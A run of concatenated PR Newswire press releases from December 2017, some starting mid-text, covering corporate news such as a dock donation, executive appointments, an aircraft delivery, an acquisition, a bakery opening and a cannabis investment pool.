[3]Hochhaus, A. Educational Session: Managing Chronic Myeloid Leukemia as a Chronic Disease. American Society of Hematology. 2011; 10: 1.

SOURCE Avillion LLP
AZEK received submissions from both her aunt and mother, nominating Heather for her charitable personality and dedication to the community. Heather also nominated her husband Rob since the hurricane was a setback for their family and the new dock would be an unbelievable gift for their family. Kintz had been renovating their house on St. Helena Island both before and after the hurricane, even after working long hours as an electrician. After all of the devastation they suffered, AZEK Building Products decided that this family deserved a new dock.

"We were finally able to buy a piece of paradise with a dock, and two years later, hurricane Matthew hit and destroyed it. It was devastating the next day to wake up and see the damage from the storm," said Kintz. "We did not have the money to pay a dock builder, so the rebuild process would have been a slow one. Not only did AZEK replace the part that was destroyed, but AZEK replaced the entire dock. It means a lot to us that there are still companies out there like AZEK that give back to people in the community."

AZEK partnered with Richard Knieriem, owner of Dick's Decks and Docks, to complete the 2,800 square foot dock that features the TimberTech Docksider Collection in Gray.

"We've been using TimberTech since we started the business two years ago because I like using composite," said Knieriem. "We love fixing docks and we love using this product  it's basically the perfect product  and Heather and Rob will really get to enjoy a beautiful, new dock with this material. I am pleased to have been a part of this great initiative. Helping others is what it is all about."

About AZEK Building Products:

AZEK Building Products is a leader in the development of premium, low maintenance exterior building products. Available to a worldwide audience, its product lines span AZEK Trim, Deck, Rail, Moulding, Porch and Pavers as well as capped wood composite Decking and Railing under the TimberTech brand. Both brands, synonymous with quality, style and innovation, are made in America and lead their market areas by continually reinventing product lines and redefining product categories. For more information about AZEK, visit www.azek.com. For more information on TimberTech, visit www.timbertech.com or call 1-877-ASK AZEK.

SOURCE AZEK Building Products

Related Links

https://www.azek.com


TORONTO, Dec. 19, 2017 /PRNewswire/ -- Jon Taffer, Executive Producer and host of Spike TV's "Bar Rescue" and renowned hospitality expert, announced a partnership with Sculpture Hospitality, the global leader in inventory control and the iconic Bevinco brand. Taffer has officially endorsed the company's full suite of inventory services; Bevinco, Bevinco Mobile, Bevchek and Measuring Cup, offered through their dedicated network of individual owners/operators. Taffer will work closely with Sculpture Hospitality to continue to enhance the suite products to better serve the market. Margins in the industry are shrinking so maximizing food/liquor profits are key to success and this collaboration will enable Sculpture to integrate impactful cost saving strategies, based on Taffer's years of experience.

"In my extensive experience, I can honestly say that Sculpture Hospitality's inventory solutions are world class and by far the most comprehensive in the industry," says Taffer. "The flexibility that operators have to pick and choose between options that satisfies their needs is unparalleled, choosing from their app to hiring a local representative to doing inventory management. They've even had clients fall in love with their solutions so much, they decided to purchase their own Sculpture Hospitality franchise. Now that is what I call customer satisfaction!"

Sculpture Hospitality revolutionized the bar industry over 30 years ago, with the advent of their Bevinco service that allows bar owners to see their business finances in full transparency through measured usage compared to sales. Over the years, they have continued to enhance the service, moving to a fully cloud-based platform that allows you to multitask on-site from anywhere in the world to reduce your inventory time. Inventory is performed using wireless handheld devices so you can work efficiently by scanning brand specific items or custom barcodes using your onboard camera or optional barcode scanner to reduce entry errors. Only the Bevinco platform accurately captures partial item weights wirelessly and weighs open items in the appropriate way ensuring the accuracy of every drop instead of tenthing.

Sculpture Hospitality's President, Vanessa De Caria speaks to the partnership: "Jon Taffer has his hand on the pulse of our industry and is the ideal partner to help us generate greater awareness for our family of brands. Through collaboration, we feel we can continually enhance our inventory solutions to best suit our customer needs. Our enhancements are driven by customer experience and few know the industry better than Taffer, which is why this partnership makes so much sense for us. Our accuracy is unparalleled and offers insights into ordering using our intelligent PAR and order system, that adjusts based on your historical data. We can digitally track stock transfers and requisitions between areas, export our reports to various outputs and integrate seamlessly with a large number of POS systems for automated sales transfer. We are also able to monitor draft beer in real-time with Bevchek's flow meter system that also fully integrates with Bevinco and most recently, we can monitor food using our proprietary food inventory software, Measuring Cup. Working with Jon Taffer can only help us to enhance the customer experience."

Sculpture Hospitality is a franchise-based system that has representation in every market in North America and significant parts of the globe. The franchisees are experts in their craft and provide hands-on consultation to bar and restaurant owners on a weekly basis. On-site inventory audits are conducted to identify the extent of loss, which averages 25% in our industry due to poor practices, over-pouring, waste and theft. Their team of experts work directly with management to ensure losses fall below 5%. Operators can easily monitor the health of their business finances through measured, detailed inventory reports that allows them to drill-down to brand specific data, on-hand inventory levels, cost usage and more. The reports are easy-to-read, accurate and the level of service you require is completely customizable. Operators can choose to outsource the inventory entirely to one of our resident experts or utilize the software on their own to conduct the audit in-house.

De Caria concludes, "We look forward in collaborating with Jon and his team on Season Six of Bar Rescue, where we will Shut It Down together to rescue a new bar every week and we anticipate some entertaining results."

About Jon Taffer:

Within the nightlife, bar and restaurant industry, there is no greater authority than Jon Taffer. He is best known for his in-your-face, no-holds-barred style of turning failing bars into profitable businesses as host and executive producer on Spike TV's #1 hit show "Bar Rescue," currently going into its sixth season. Jon is recognized internationally as an award-winning hospitality consultant and concept developer. With over three decades of hands-on experience, he has owned and operated 17 hospitality businesses, consulted with over 800 venues in 30 countries and has worked with powerhouse brands like Hyatt Hotels, Hilton Hotels, TGI Fridays, Subway, Wolfgang Puck Express, Anheuser-Busch, AMF Bowling Centers and many more. Jon's knack for starting, growing and improving hospitality concepts has led to many awards  such as Operator of the Year, Property of the Year, Visionary Leadership and the United Kingdom's Pub Master  as well as executive positions with the Nightclub and Bar Convention and the National Restaurant Association, where he's currently a Strategic Advisor. His next book Don't Bullsh*t Yourself!: Crush the Excuses That Are Holding You Back comes out March 2018. Learn more at www.jontaffer.com.

About Sculpture Hospitality

Established in 1987, Bevinco revolutionized the hospitality industry, by providing accurate insights into liquor inventory control. Now operating in over 30 countries worldwide, servicing over 50,000 venues of all types, Sculpture Hospitality stands alone as the preeminent bar inventory expert, creating billions of dollars of value for restaurateurs and bar operators across the globe. To learn more about how Sculpture Hospitality can improve your bottom-line, visit http://info.sculpturehospitality.com/taffer.

Contact: Krista Dinsmore, Launch Marketing Solutions

705.817.4633; [email protected]

SOURCE Sculpture Hospitality

Related Links

http://www.sculpturehospitality.com


HOUSTON, Dec. 19, 2017 /PRNewswire/ -- Bechtel, a global engineering, procurement, and construction leader, has been awarded the prestigious 2018 Digital Edge 50 Award in recognition of its new Pipeline Integrity Management (PIM) tool. With support from Bechtel's Future Fund, an internal incubator which finances development of disruptive technologies, innovators from the Bechtel pipeline business designed the tool to help customers prioritize critical pipeline integrity work and improve overall safety. The tool integrates pipeline data, Geographic Information Systems (GIS) and data-science modelling to help customers better forecast maintenance and replacement of pipeline systems.

"Bechtel has built more than 50,000 miles of pipeline  enough to circle the Earth twice. This extensive experience, combined with our data analytics capabilities, is allowing us to build new predictive models and deliver unparalleled digital solutions for new and existing customers" said Richard Wall, Bechtel's General Manager for Pipelines. "Our PIM tool is one of our key competitive advantages in this sector and we are honored to receive this important award in recognition of the impact it will have across the pipeline industry."

Bechtel began development of the PIM tool after it was recognized that customers needed support establishing new standards of pipeline safety across the world. The tool utilizes massive geospatial data sets and proprietary algorithms, creating detailed risk assessments based on over 100 parameters and relationships known to contribute to pipeline failures. This data is then used to assess the impact of incremental changes in material, construction and geospatial characteristics along the length of the pipeline. Utilizing Bechtel's Big Data & Analytics Center, the PIM tool can analyze hundreds of thousands of welds and joints of pipe in a matter of minutes, providing valuable assessments of a customer's pipeline system in record time.

Every year, the Digital Edge 50 Award recognizes a select group of digital achievers whose organizations have made great strides toward being a digital-centric business. Entries are judged by a distinguished panel of IT and business leaders on criteria including innovation, complexity, scale and impact.

About Bechtel

Bechtel is one of the most respected global engineering, construction, and project management companies. Together with our customers, we deliver landmark projects that create long-term progress and economic growth. Since 1898, we've completed more than 25,000 extraordinary projects across 160 countries on all seven continents. We operate through four global businesses: Infrastructure; Nuclear, Security & Environmental; Oil, Gas & Chemicals; and Mining & Metals. Our company and our culture are built on more than a century of leadership and a relentless adherence to our values, the core of which are safety, quality, ethics, and integrity. These values are what we believe, what we expect, what we deliver, and what we live.

www.bechtel.com .

Media contact:

Mathew Ovenden

[email protected]

+1 713 235 3041

+1 346 241 6701

SOURCE Bechtel

Related Links

http://www.bechtel.com


DALLAS, Dec. 19, 2017 /PRNewswire/ -- BenefitMall, the leading provider of employee benefits and payroll services, recently announced the addition of Hadley Weiler as Regional Vice President for California. Along with this change, former regional vice president David Taaffe will now lead BenefitMall's national Account Services Division as vice president of account services.

"We are excited to have Hadley join our team in California," said Michael Gomes, senior vice president of benefit sales for BenefitMall. "With a proven record of success and more than two decades of industry experience, Hadley is uniquely positioned to accelerate growth in our sales division."

Hadley began his insurance career with Aetna, where he was responsible for all GA partnerships, later serving as the Territory Manager for Colonial Insurance in California. Most recently, Hadley was the Executive Director of Sales at LISI in California. Hadley will be based in Northern California and will hold statewide responsibility for all Benefits Sales.

"I have long-admired BenefitMall's services and contribution to the broker community," said Hadley. "Not only is BenefitMall a leader in the industry, but it is also a company whose culture and core values align with mine."

As Hadley begins this position, David Taaffe assumes the role of vice president of account services. During his tenure, BenefitMall has seen accelerated growth and improved sales in both California benefits and the Account Services Division.

"David successfully lead our California market, while simultaneously overseeing account services division  a task in which he excelled," said Michael Gomes, senior vice president of benefit sales of BenefitMall. "I am excited to have him on my leadership team and see where BenefitMall can go with him in this role full-time."

About BenefitMall

Headquartered in Dallas, BenefitMall partners with a network of 20,000 Brokers and CPAs to deliver employee benefits and payroll services to more than 200,000 small and medium-sized businesses. By combining payroll and benefits, BenefitMall empowers Trusted Advisors to develop the best employee programs while maintaining compliance with government regulations and Health Care Reform.

BenefitMall, the largest national General Agency merged with the second largest privately held payroll company, CompuPay. BenefitMall also operates HealthCareExchange.com, the leading online community for information regarding the Patient Protection and Affordable Care Act. More information is available at www.benefitmall.com.

SOURCE BenefitMall

Related Links

http://www.benefitmall.com


According to the Graduate Management Admission Council , 86 percent of companies surveyed planned to hire recent MBA graduates in 2017, up from 79 percent in 2016. U.S. companies plan to offer recent MBA graduates a starting base salary of $110,000, according to the council.

Bentley's new accelerated part-time MBA offers an adaptable class schedule, with all courses available online, and includes the option of intensive courses on weekends. Classes meet once a week and students can pursue a concentration in leadership that will prepare them for high-level management roles. The online learning environment brings together a diverse group of students from different cultures and professional backgrounds, training students to collaborate on diverse teams that mirror today's global marketplace.

"Bentley's new part-time MBA is designed specifically for the working professional who wants to continue advancing their career and strengthening their education at the same time, in a way that will boost their promotion ability and earning potential for the rest of their career," said William Starner, director of the new program.

Bentley MBA graduates often land jobs with prominent companies such as IBM, Raytheon, Fidelity and TJX. "We rely on Bentley students because of their diverse business education and work ethic," said Joe Smith, a senior recruiter at Dassault Systems.

Students in the accelerated part-time MBA program will have access to a global network of Bentley alumni and the university's nationally ranked Career Services office, including career events, job fairs, employer information sessions, and a Virtual Career Center to help them connect with employers.

Read how one graduate earned a part-time Bentley MBA to "future-proof" her career.

One of the Nation's Top Business Schools



Bentley University is one of the nation's leading business schools, dedicated to preparing a new kind of business leader with the technical skills, global perspective and ethical standards required to make a difference in an ever-changing world. Bentley's diverse arts and sciences program combined with an advanced business curriculum prepares graduates to make an impact in their chosen fields. The university enrolls approximately 4,000 undergraduate and 1,000 graduate students. The Princeton Review ranked Bentley #1 in the United States in both career services and internships and Bloomberg BusinessWeek ranked Bentley a top 10 undergraduate business school. Learn more about Bentley's part-time MBA.

SOURCE Bentley University
VANCOUVER, Dec. 18, 2017 /PRNewswire/ - BIG Blockchain Intelligence Group Inc. ("BIG" or "the Company") (CSE: BIGG), a developer of Blockchain technology search and data analytics solutions, is pleased to announce that BIG has been included in the CSE25 Index after qualifying as one of the 25 largest companies by market capitalization in the Canadian Securities Exchange ("CSE") Composite Index.

James Black, VP - Listings Development at the CSE, stated: "The CSE is proud to recognize BIG Blockchain Intelligence Group as both a recent new listing and member of the distinguished CSE25 sub index. We believe the CSE is the perfect exchange to facilitate the capital formation and secondary market needs for this emerging sector  and we are encouraged to see companies like BIG make their mark on the CSE25."

Lance Morginn, CEO of BIG, stated: "As the leaders in monitoring and tracking cryptocurrency, we're proud to also be recognized as leaders on the Canadian Securities Exchange through our inclusion in the CSE25 Index. Being among the top 25 performers on the exchange is confirmation of our growing momentum as we continue to establish our presence in the law enforcement, finance and eCommerce sectors as the leader in Blockchain technology search and data analytics solutions."

ABOUT THE CSE25 INDEX

The CSE announced the introduction of the CSE25 Index on September 18, 2017. The CSE25 Index, comprised of the securities of the 25 largest companies trading on the exchange, is a subgroup of the CSE Composite Index. The Composite Index launched in 2015, and includes almost half the CSE-listed companies while covering over 75% of the trading activity on the exchange.

According to the CSE, the 25 companies in the CSE25 Index account for over 50% of the weighting in the larger index, and are typically stocks that attract considerable trading volume.

Richard Carleton, CSE's CEO, commented on the CSE25 Index, saying, "as the exchange has grown rapidly in terms of trading volumes and market capitalization it is appropriate that we give market participants a benchmark that monitors the performance of our largest and most liquid issues. As the 'exchange for entrepreneurs' we are proud of their success in the Canadian capital markets."

About BIG Blockchain Intelligence Group Inc.

BIG Blockchain Intelligence Group Inc. (CSE: BIGG), is headquartered in Vancouver, BC, Canada. As a developer of Blockchain technology search and data analytics solutions, BIG's proprietary platform targets Governments and Fortune 1000 companies that perform business in the law enforcement, finance and eCommerce sectors globally.

Forward-Looking Statements:

Certain statements in this release are forward-looking statements, which include completion of the search technology software and other matters. Forward-looking statements consist of statements that are not purely historical, including any statements regarding beliefs, plans, expectations or intentions regarding the future. Such information can generally be identified by the use of forwarding-looking wording such as "may", "expect", "estimate", "anticipate", "intend", "believe" and "continue" or the negative thereof or similar variations. Readers are cautioned not to place undue reliance on forward-looking statements, as there can be no assurance that the plans, intentions or expectations upon which they are based will occur. By their nature, forward-looking statements involve numerous assumptions, known and unknown risks and uncertainties, both general and specific that contribute to the possibility that the predictions, estimates, forecasts, projections and other forward-looking statements will not occur. These assumptions, risks and uncertainties include, among other things, the state of the economy in general and capital markets in particular, and other factors, many of which are beyond the control of BIG. Forward-looking statements contained in this press release are expressly qualified by this cautionary statement. Undue reliance should not be placed on the forward-looking information because BIG can give no assurance that they will prove to be correct. Important factors that could cause actual results to differ materially from BIG's expectations include, consumer sentiment towards BIG's products and Blockchain technology generally, technology failures, competition, and failure of counterparties to perform their contractual obligations.

The forward-looking statements contained in this press release are made as of the date of this press release. Except as required by law, BIG disclaims any intention and assumes no obligation to update or revise any forward-looking statements, whether as a result of new information, future events or otherwise. Additionally, BIG undertakes no obligation to comment on the expectations of, or statements made by, third parties in respect of the matters discussed above.

SOURCE Big Blockchain Intelligence group inc
PANAMA CITY, Dec. 18, 2017 /PRNewswire/ -- The Board of Directors of Banco Latinoamericano de Comercio Exterior, S.A. ("Bladex" or "the Bank") (NYSE: BLX) today announced that Mr. Rubens V. Amaral Jr. submitted his resignation and will step down as Chief Executive Officer effective April 30, 2018. He will be succeeded by Mr. N. Gabriel Tolchinsky, currently the Banks Chief Operating Officer and Alternate to the CEO.

Bladex's Chairman, Mr. Gonzalo Menendez Duque, said: "The Board is saddened by the departure of a CEO whose success in improving the Bank's business model, attracting top talent, relentlessly driving financial performance and enhancing the value of the Bladex brand is well-known and deservedly recognized.

Bladex is fortunate to have a successor of Gabriel Tolchinsky's caliber, who has worked as a fulltime consultant to Bladex since 2014, and its Chief Operating Officer since May 2017. Gabriel is a professional with important experience in the international markets, having worked for several important financial institutions in the last 25 years. We are convinced that under Gabriel's leadership, the Bank will continue to thrive, enhancing its role as a strategic partner for Latin America and our clients, while delivering increasing value to our shareholders.

Gabriel and Rubens have developed a close professional and personal relationship over the years, so we expect the transition process to be virtually seamless."

Mr. Tolchinsky initially worked as a fulltime consultant, helping the Bank develop its Supply Chain Financing business. In May this year, Mr. Tolchinsky took over as Chief Operating Officer in charge of Administration, Technology and Operations, and as the Alternate to the CEO, working closely with Mr. Amaral to enhance Bladex's position as a key player in Latin America's trade finance business.

Mr. Tolchinsky said of his appointment: "I am honored to have been assigned the responsibility to continue building upon Bladex's unique strengths as the best trade finance bank in Latin America. We operate in an important Region which presents opportunities to fuel the Bank's growth and success. I am looking forward to developing these opportunities and continuing to work together with the extraordinary team of professionals at Bladex. I am grateful to the Board for their confidence and to Rubens, who brought me to the Bank and supported my work over the last 2 years."

Commenting on his decision to step down Mr. Amaral said: "I am pleased to have been associated with Bladex for the last 17 years in different capacities. Since my appointment as CEO, in early 2012, I have agreed with the Board to strengthen the business of the Bank throughout different economic cycles, develop new sources of revenues, enhance our trade finance franchise, while preparing a suitable successor. I am pleased that, after 5 years at the helm of the Bank, we have developed a solid Loan Syndication platform, a leading Vendor Finance Unit, which have helped to catapult the Bank to a leading role in these lines of business in Latin America, representing new revenue sources. I have no doubts that the Bladex franchise is strong and I am also happy to have identified a very qualified successor in Gabriel to lead the Bank in this new phase and prepare the organization to face the digital disruption which will undoubtedly impact financial institutions' business worldwide. I would like to thank our Board of Directors and our shareholders for their confidence, and the team of professionals at Bladex, which I had the privilege to manage during this time, for their support and help in strengthening the leadership role of the Bank in the Region. I wish Gabriel the best of luck and continued success."

Prior to joining Bladex in 2015, Mr. Tolchinsky worked as founding partner and Chief Administrative Officer of Maritime Finance Company Ltd., a private equity-funded company specializing in maritime finance, funded by KKR and other investors. Mr. Tolchinsky was also a founding partner of Helios Advisors LLC investment funds (2002-2013), focused on commodity-related companies; FinAccess International Inc. (2000  2002), a Mexican investment fund management company where he served as Chief Operating Officer; and a founding partner of Columbus Advisors LLC (1995-2013), specializing in fixed income instruments in emerging markets, where he served as Portfolio and Risk Manager. He previously held various positions in investment banking on Wall Street from 1986 to 1995, including producing manager of Emerging Markets fixed income sales at Merrill Lynch from 1991 to 1995. He holds a degree in Mathematical Sciences from Tel Aviv University, Israel, as well as a Master of Science (Operations Research) degree and a Master of Arts (Statistics) degree, both from Columbia University, New York, U.S.A.

Bladex, a multinational bank originally established by the central banks of Latin-American and Caribbean countries, initiated operations in 1979 to promote foreign trade finance and economic integration in the Region.

The Bank, headquartered in Panama with offices in Argentina, Brazil, Colombia, Mexico, Peru, and the United States of America, supporting the regional expansion and servicing its customer base, which includes financial institutions and corporations.

Bladex is listed on the NYSE in the United States of America (NYSE: BLX), since 1992, and its shareholders include: central banks and state-owned banks and entities representing 23 Latin American countries; commercial banks and financial institutions; and institutional and retail investors through its public listing.

For further information, please access Bladex's website at www.bladex.com or contact:

Irma Garrido Arango  Senior Vice-president, Corporate Development and Investor Relations E-mail address: [email protected]. Tel.: (+507) 210-8559 Head Office Address: Torre V, Bussiness Park, Avenida La Rotonda, Urb. Cosa del Este, Panama, Republic of Panama

SOURCE Banco Latinoamericano de Comercio Exterior, S.A. (Bladex)

Related Links

http://www.bladex.com


MILAN, Dec. 18, 2017 /PRNewswire/ -- Boeing (NYSE: BA), Neos and AerCap today celebrated the delivery of the leisure carrier's first Boeing 787 Dreamliner. Neos is leasing the 787-9 through an agreement with AerCap and becomes the first Italian operator of the airplane.

"With a significant portion of the 787 produced in Italy we are proud to be the country's first operator of the Dreamliner," said Carlo Stradiotti, chief executive officer of Neos SpA. "This delivery is the first step of implementation of our fleet strategy, aimed at making sure our customers can always have a state-of-the-art service and the best possible in-flight experience. We look forward to welcoming more 787s into our fleet along with the new 737 MAXs in the next few years."

Neos becomes the 45th carrier to operate the 787 Dreamliner. AerCap, the world's largest Dreamliner customer, plans to deliver two additional 787s to Neos by next year.

Italian industry, through Leonardo, is responsible for producing 14 percent of the 787's airframe structure, including the two-piece center fuselage section, along with the airplane's horizontal stabilizer.

"The 787 will be a tremendous addition to Neos' fleet, providing greater efficiency, range, passenger comforts and flexibility to its operations," said Monty Oliver, vice president of European Sales, Boeing Commercial Airplanes. "We are proud of the confidence Neos continues to place in our products and are delighted to welcome another 787 operator, and the first in Italy, to our family of Dreamliner customers."

The Boeing 787 Dreamliner is the fastest-selling twin-aisle airplane in history. Boeing has delivered more than 625 787s since entering service in 2011, flying more than 200 million people on more than 610 unique routes, saving over 19 billion pounds of fuel.

Founded in 2001, Neos caters to Italy's leisure market providing flights to destinations across Africa, Asia, the Caribbean, China, and the Mediterranean. Neos is part of Alpitour World, the leading integrated leisure concern in Italy operating, apart from aviation, in tour operating, hotel management, destination management services and distribution. Neos is an all-Boeing carrier operating Next-Generation 737s, 767s and now the 787. It announced earlier this year that along with 787s, it also intends to lease Boeing's latest single-aisle offering, the 737 MAX, from 2019.

Contact:

Daniel Mosely

European Communications

Boeing Commercial Airplanes

+44 208 235 5665

[email protected]

SOURCE Boeing

Related Links

http://www.boeing.com


SILICON SLOPES, Utah, Dec. 19, 2017 /PRNewswire/ -- Boostability CEO Gavan Thorpe has been recognized among the best CEOs for small to midsize businesses in the United States by Comparably, a website that ranks workplaces based on anonymous reviews of current employees.

"The CEOs included in Comparably's annual Best CEOs list ranked among the highest-rated leaders across thousands of CEOs," said Comparably CEO Jason Nazar. "Most notably, this award came directly from the contribution of their own employees and ratings across multiple dimensions from a diverse talent pool of various departments, genders and backgrounds. It's an honor to be included in the 2017 Best CEOs list and reflective of the great teams and company cultures these leaders have helped to foster."

Thorpe was ranked fifth with a current rating of 91 out 100.

"I'm very honored that the team members at Boostability feel that way about me," said Thorpe. "I'd like to thank all the employees, managers, and everyone who makes Boostability what it is. They all contributes to a positive workplace and a happy customer base."

Thorpe was promoted to CEO in January 2017. Boostability CTO and cofounder Jared Turner has been impressed with Thorpe's performance in his first year as the company's CEO.

"It's a great honor," Turner said. "Gavan is well-deserving. He demonstrates leadership, genuine respect, and admiration and care for his employees and all those that he works with. He's very thoughtful. He listens to all opinions, and he's usually able to come up with solid solutions that feel very collaborative."

Boostability also ranks highly for its leadership in general, making Comparably's list of best managers. Thorpe credited the leadership team's success, in part, to its experience.

"Most of the leadership team has worked their way up through the ranks," Thorpe said, noting that Turner started out coding the company's software as its lone initial developer. "That helps them understand what we're trying to accomplish and what it's like to be on the front lines."

The high ratings for Boostability's leadership team has contributed to the overall workplace culture of the company, as it also made Comparably's list of best team cultures.

"I think it's a great place to work," Turner said. "We try to create a culture of accountability and performance, and a strong comradery exists. We have a fun time at work, and we try to engage and create a culture that feels like a larger family. We care for the employees, and that's been important ever since the inception of the company that people feel valued."

About Boostability

Established in 2009, Boostability was founded on a simple business model: to create affordable and effective SEO for the small business marketplace. And it's worked. Today, Boostability serves thousands of small businesses, helping them elevate their digital presence and succeed online. Boostability primarily works with partners that offer their white-labeled SEO, social media, and website build services to their SMB clients. The company serves more than 25,000 active clients and has over 300 employees based in two offices across the Silicon Slopes of Utah and satellite locations in Amsterdam and Berlin. For more information, visit please visit www.boostability.com.

Media Contact:

Kelly Shelton

[email protected]

1-800-261-1537

SOURCE Boostability

Related Links

http://www.boostability.com


LAKE SUCCESS, N.Y., Dec. 19, 2017 /PRNewswire/ -- Broadridge Financial Solutions, Inc. (NYSE:BR) has agreed to acquire Morningstar, Inc.'s 15(c) board consulting services business. The acquisition will strengthen Broadridge's ability to be the most complete source for independent, verifiable data that mutual fund boards of directors rely on to fulfill their governance responsibilities.

"This acquisition will enhance and expand our solution set providing fund boards the most comprehensive data, enabling them to make more informed decisions with the highest standard of reporting," said Dan Cwenar, Broadridge's head of buy-side data and analytics. "The expanded breadth and depth of our data-driven solutions will continue to enhance the value we provide to our investment management clients and set the standard for the financial services industry."

Morningstar's 15(c) board consulting services business provides materials to the boards of directors and executive teams of mutual funds, helping them meet their 15(c) fiduciary duties to review and approve the fee agreements with each of their investment advisors. This acquisition will enable Broadridge to provide its fund board clients the ability to benchmark funds using both Morningstar and Lipper data via an objective, independent source in order to better assess their fund advisors and sub-advisors. As an objective data provider in the financial industry, Broadridge has a unique ability to provide critical data to fund boards as they face increased regulatory pressure to outsource 15(c) services to independent providers.

"The decision to sell our 15(c) business to Broadridge aligns with the long-term strategies of both Morningstar and Broadridge," said Scott Burns, head of data and research products at Morningstar. "Morningstar is sharpening its focus on delivering its fund data and analytics to as many users as possible. With this transaction, Broadridge's 15(c) consultants and client base can now utilize Morningstar's industry-standard data and calculations to help fund boards fulfill their fiduciary responsibilities to shareholders."

Terms of the transaction, which is expected to close in January 2018 and is subject to the satisfaction of customary closing conditions, were not disclosed.

About Broadridge

Broadridge Financial Solutions, Inc. (NYSE:BR), a $4 billion global fintech leader, provides investor communications and technology-driven solutions to banks, broker-dealers, mutual funds and corporate issuers globally. Broadridge's investor communications, securities processing and managed services solutions help clients reduce their capital investments in operations infrastructure, allowing them to increase their focus on core business activities. With over 50 years of experience, Broadridge's infrastructure underpins proxy voting services for over 90 percent of public companies and mutual funds in North America, and processes more than $5 trillion in fixed income and equity trades per day. Broadridge employs over 10,000 full time associates in 16 countries. For more information about Broadridge, please visit www.broadridge.com.

About Morningstar, Inc.

Morningstar, Inc. is a leading provider of independent investment research in North America, Europe, Australia, and Asia. The company offers an extensive line of products and services for individual investors, financial advisors, asset managers, retirement plan providers and sponsors, and institutional investors in the private capital markets. Morningstar provides data and research insights on a wide range of investment offerings, including managed investment products, publicly listed companies, private capital markets, and real-time global market data. Morningstar also offers investment management services through its investment advisory subsidiaries, with more than $220 billion in assets under advisement and management as of Sept. 30, 2017. The company has operations in 27 countries.

Contact information:

Investors:

W. Edings Thibault

Investor Relations

+1 516-472-5129

[email protected]

Media:

Linda Namias

Broadridge Financial Solutions

+1 631-254-7711

[email protected]

SOURCE Broadridge Financial Solutions, Inc.

Related Links

http://www.broadridge.com


"Texas has become a home away from home for me and the famiglia these past couple of years," admits Valastro, renowned baker and chef. "Honestly, that southern hospitality gets us every time. We feel welcomed with open arms, so finally laying down some roots in San Antonio is something we've been looking forward to for some time now. I'm so happy we're going to open our doors there and we are so excited to really bring a slice of Hoboken to the wonderful people of San Antonio. What you get in Hoboken is exactly what you're going to get in San Antonio  we wouldn't have it any other way."

The 1,892 square foot Carlo's Bakery will offer the brand's full menu of signature treats, including the famous cannoli, lobster tail, cupcakes and more. The San Antonio location will also produce impressive, over-the-top custom cakes for all occasions as featured on Cake Boss.

The grand opening of Carlo's Bakery at The Shops at La Cantera in San Antonio, Texas is slated to take place in the early spring of 2018. Buddy Valastro and his family will host the brand's traditional ribbon cutting ceremony. The bakery will open for business immediately following the ceremony with meet and greet opportunities available to patrons. For the first time, the brand will be offering exclusive VIP packages to the grand opening experience via their social media pages in January and February. Carlo's Bakery in San Antonio is located at The Shops at La Cantera at 15900 La Cantera Pkwy, Suite 6698, San Antonio, TX 78256. Buddy Valastro will also bring his Italian restaurant concept, Buddy V's, to The Shops at La Cantera.

ABOUT CARLO'S BAKERY

Established in 1910, Carlo's Bakery was catapulted from a Hoboken, NJ-based neighborhood bakery to a household name through the public's fascination with the over-the-top cakes produced by master baker Buddy Valastro and success of TLC's hit series, Cake Boss, and subsequent spinoff Next Great Baker. Garnering attention from a variety of media outlets including Brides, Rachael Ray Show, Huffington Post and Good Morning America, Carlo's Bakery has existing locations in Hoboken, Marlton, Morristown, Red Bank, Ridgewood, Wayne, and Westfield, NJ; Las Vegas, NV; Dallas, Frisco, and, The Woodlands, TX; Uncasville, CT; Orlando, FL; Atlanta, GA; Bethlehem, and Philadelphia, PA; Santa Monica, CA; Bloomington, MN (Mall of America); New York, and Westbury, NY; and, Sao Paulo, Brazil. Follow Carlo's Bakery on Facebook, Instagram, and Twitter for the latest updates from the brand. For more information, please visit www.carlosbakery.com.

Contact: Nicole Valdes

[email protected]

201-448-8402

SOURCE Carlo's Bakery

Related Links

http://www.carlosbakery.com


LOS ANGELES, December 19, 2017 /PRNewswire/ --

Cannabis Strategic Ventures, Inc. (OTC Pink: NUGS) today announced it is creating a financing and investment pool geared toward investment in cannabis projects in California. This pool will be managed by the Cannabis Strategic Ventures team with initial investments targeting cultivation opportunities.

"While most of our investors consider us to be an employment and staffing service targeting the emerging cannabis sector, we now plan to show investors a much broader path for the Company," commented Simon Yu, CEO of the Company. "While we have already signed an employment deal in Washington with more on the horizon, we are now beginning the process of performing due diligence on multiple emerging cannabis cultivation opportunities, with the most advanced project being located in Santa Barbara country."

With the opening of the California recreational market in less than two weeks, Cannabis Strategic believes expansion out of its first market, Washington State, into California presents significant opportunities for the Company. The Company plans to pursue investment opportunities in not only Employment, HR and Staffing operations, but also in the areas of real estate, cultivation, extraction, packaging and dispensary operations.

About Cannabis Strategic Ventures

Cannabis Strategic Ventures is based in Los Angeles and is focused on supporting entrepreneurial growth within the fast-growing legal cannabis sector. We help small business owners launch their dreams. The Company, recently completed a name and symbol change from Cascade Energy, Inc. Cannabis Strategic Ventures offers outsourced personnel solutions that are tailor made to match the growth dynamics of cannabis cultivators, manufacturers, dispensaries, and other cannabis marketplace participants. Cannabis Strategic Ventures is publically traded on the U.S. Over-the-Counter Market with the stock symbol NUGS.

FORWARD-LOOKING STATEMENTS: This release contains "forward-looking statements" within the meaning of the safe harbor provisions of the U.S. Private Securities Litigation Reform Act of 1995. Forward-looking statements also may be included in other publicly available documents issued by the Company and in oral statements made by our officers and representatives from time to time. These forward- looking statements are intended to provide management's current expectations or plans for our future operating and financial performance, based on assumptions currently believed to be valid. They can be identified by the use of words such as "anticipate," "intend," "plan," "goal," "seek," "believe," "project," "estimate," "expect," "strategy," "future," "likely," "may," "should," "would," "could," "will" and other words of similar meaning in connection with a discussion of future operating or financial performance.

Examples of forward looking statements include, among others, statements relating to future sales, earnings, cash flows, results of operations, uses of cash and other measures of financial performance.

Because forward-looking statements relate to the future, they are subject to inherent risks, uncertainties and other factors that may cause the Company's actual results and financial condition to differ materially from those expressed or implied in the forward- looking statements. Such risks, uncertainties and other factors include, among others such as, but not limited to economic conditions, changes in the laws or regulations, demand for products and services of the company, the effects of competition and other factors that could cause actual results to differ materially from those projected or represented in the forward looking statements.

Any forward-looking information provided in this release should be considered with these factors in mind. We assume no obligation to update any forward-looking statements contained in this report.

Contact:

Phone:+1-310-359-6860

Email: [email protected]



Website: http://www.cannabisstrategic.com

Copyright  2017 PR Newswire. All Rights Reserved

SOURCE Cannabis Strategic Ventures, Inc.
